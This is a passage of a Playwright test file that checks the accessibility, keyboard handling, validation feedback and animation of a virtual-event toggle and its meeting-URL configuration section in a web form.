const hasLabel = await toggle.getAttribute('aria-label') ||
await toggle.getAttribute('aria-labelledby');
expect(hasLabel).toBeTruthy();
// Should have aria-checked attribute
const ariaChecked = await toggle.getAttribute('aria-checked');
expect(['true', 'false']).toContain(ariaChecked);
}
});
test('should support keyboard navigation', async ({ page }) => {
// Focus should move to toggles with Tab
await page.keyboard.press('Tab'); // Navigate to first toggle
const focused = await page.evaluate(() =>
document.activeElement.classList.contains('virtual-event-toggle')
);
expect(focused).toBe(true);
// Space should toggle the switch
await page.keyboard.press('Space');
const isChecked = await page.locator('.virtual-event-toggle').isChecked();
expect(isChecked).toBe(true);
// Enter should also toggle
await page.keyboard.press('Enter');
const isStillChecked = await page.locator('.virtual-event-toggle').isChecked();
expect(isStillChecked).toBe(false);
});
test('should announce state changes to screen readers', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
// Monitor for aria-live announcements
const announcements = [];
page.on('console', msg => {
if (msg.text().includes('Virtual event enabled') || msg.text().includes('Virtual event disabled')) {
announcements.push(msg.text());
}
});
await toggle.click();
await page.waitForTimeout(100);
await toggle.click();
await page.waitForTimeout(100);
// Should have announced state changes
expect(announcements.length).toBeGreaterThan(0);
});
test('should have proper focus management', async ({ page }) => {
const virtualToggle = page.locator('.virtual-event-toggle');
// Focus toggle and activate
await virtualToggle.focus();
await page.keyboard.press('Space');
// Focus should move to first field in opened section
await page.keyboard.press('Tab');
const focusedElement = await page.evaluate(() => document.activeElement.id);
expect(focusedElement).toBe('virtual-meeting-url');
});
});
test.describe('Visual Feedback and Animation', () => {
test('should show loading state during toggle transitions', async ({ page }) => {
// Mock slow response for toggle action
await page.addInitScript(() => {
window.TOGGLE_DELAY = 500;
});
const toggle = page.locator('.virtual-event-toggle');
await toggle.click();
// Should show loading state briefly
await expect(page.locator('.toggle-loading')).toBeVisible();
// Loading should disappear
await expect(page.locator('.toggle-loading')).not.toBeVisible();
});
test('should animate section visibility changes', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const configSection = page.locator('.virtual-event-config');
await toggle.click();
// Section should have animation class during transition
await expect(configSection).toHaveClass(/animating/);
// Wait for animation to complete
await page.waitForTimeout(300);
await expect(configSection).not.toHaveClass(/animating/);
});
test('should provide visual feedback for validation errors', async ({ page }) => {
const virtualToggle = page.locator('.virtual-event-toggle');
const urlField = page.locator('#virtual-meeting-url');
await virtualToggle.click();
// Enter invalid URL
await urlField.fill('invalid-url');
await urlField.blur();
// Field should have error styling
await expect(urlField).toHaveClass(/error/);
await expect(page.locator('#virtual-meeting-url-error')).toBeVisible();
// Fix the error
await urlField.fill('https://zoom.us/j/123456789');
await urlField.blur();
// Error styling should be removed
await expect(urlField).not.toHaveClass(/error/);
await expect(page.locator('#virtual-meeting-url-error')).not.toBeVisible();
});
test('should show success feedback for completed configurations', async ({ page }) => {
const virtualToggle = page.locator('.virtual-event-toggle');
await virtualToggle.click();
// Fill all required virtual event fields
await page.fill('#virtual-meeting-url', 'https://zoom.us/j/123456789');
await page.selectOption('#virtual-meeting-platform', 'zoom');
await page.fill('#virtual-meeting-id', '123456789');
// Should show completion indicator
await expect(page.locator('.virtual-event-config .config-complete')).toBeVisible();
});
});
});